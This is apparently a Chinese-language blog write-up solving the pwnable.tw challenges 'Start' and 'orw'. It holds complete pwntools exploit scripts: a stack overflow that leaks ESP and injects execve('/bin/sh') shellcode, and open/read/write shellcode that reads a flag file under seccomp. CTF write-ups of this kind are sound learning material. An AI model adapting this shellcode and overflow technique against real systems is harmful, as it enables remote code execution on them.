0%

pwnable.tw题目,持续更新

Flag

争取每周做一题

Start

1
add     esp, 14h

可知,程序在第一次运行的返回前,会清空之前压入的字符串’Let’s start the CTF:’,所以我们可以将返回地址修改为0x08048087,这样将会执行一次sys_write,而且此时输出的就是esp的地址

1
2
3
4
5
.text:08048087 01C                 mov     ecx, esp        ; addr
.text:08048089 01C mov dl, 14h ; len
.text:0804808B 01C mov bl, 1 ; fd 0(标准输入)、 1(标准输出)、2(标准错误)
.text:0804808D 01C mov al, 4
.text:0804808F 01C int 80h ; LINUX - sys_write

编写shellcode并构造payload

最终代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *



def leak_esp(r):
address_1 = p32(0x08048087)
payload = 'a'*20+address_1
print r.recvuntil('CTF:')
r.send(payload)
esp = u32(r.recv()[:4])
print "Address of ESP: ", hex(esp)
return esp


# eax = 0xb:sys_execve
# ebx:file to execute
# ecx:command line parameters
# edx:environment block
# int 0x80:Linux系统调用
shellcode = asm('\n'.join([
'push %d' % u32('/sh\0'),
'push %d' % u32('/bin'),
'xor edx, edx',
'xor ecx, ecx',
'mov ebx, esp',
'mov eax, 0xb',
'int 0x80',
]))


if __name__ == "__main__":
context.arch = 'i386'
local = 0
if local:
r = process('./start')
else:
r = remote('chall.pwnable.tw', 10000)

esp = leak_esp(r)
payload = "A"*20 + p32(esp + 20) + shellcode #若不加20在获取的shell里输入命令会提示SIGSEGV后退出(感觉是堆栈不平衡导致的)
r.send(payload)
r.interactive()

crw

这个题写 shellcode 去读 “/home/orw/flag” 的内容,题目提示只允许用 open、read、write 这三个系统调用。通过 orw_seccomp() 实现,seccomp(short for secure computing mode) Linux 内核中的计算机安全设施,能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用 4 种系统调用(system calls),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。

根据 Linux Syscall Reference ,写出汇编代码,利用 pwntools 汇编。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *


# p = process('./orw')
p = remote('chall.pwnable.tw',10001)
shellcode = ""


# open(file,0,0) O_RDONLY is zero
# /home/orw/flag 转换为 16 进制为 2f686f6d652f6f72772f666c6167,即压栈数据,,如果你有强迫症可以在前面补斜杠或后面补零

shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x6761; push 0x6c662f77; push 0x726f2f65; push 0x6d6f682f; mov ebx,esp;xor edx,edx;int 0x80;')

#shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;') 前面补斜杠
#shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x00006761; push 0x6c662f77; push 0x726f2f65; push 0x6d6f682f; mov ebx,esp;xor edx,edx;int 0x80;') 后面补 0


# read(3,file,0x30) 此处 ebx/fd 是 0,1,2 没有回显,应使用最小的未使用的 fd 即 3,因为 0 1 2 已经被 linux 使用了,通常在程序中打开的 fd,是从 3 开始的。
shellcode += asm('mov eax,0x03;mov ecx,ebx;mov ebx,0x3;mov edx,0x30;int 0x80;')

# write(1,file,0x30)
shellcode += asm('mov eax,0x04;mov ebx,0x1;int 0x80;')

p.recvuntil('Give my your shellcode:')
p.send(shellcode)
p.interactive()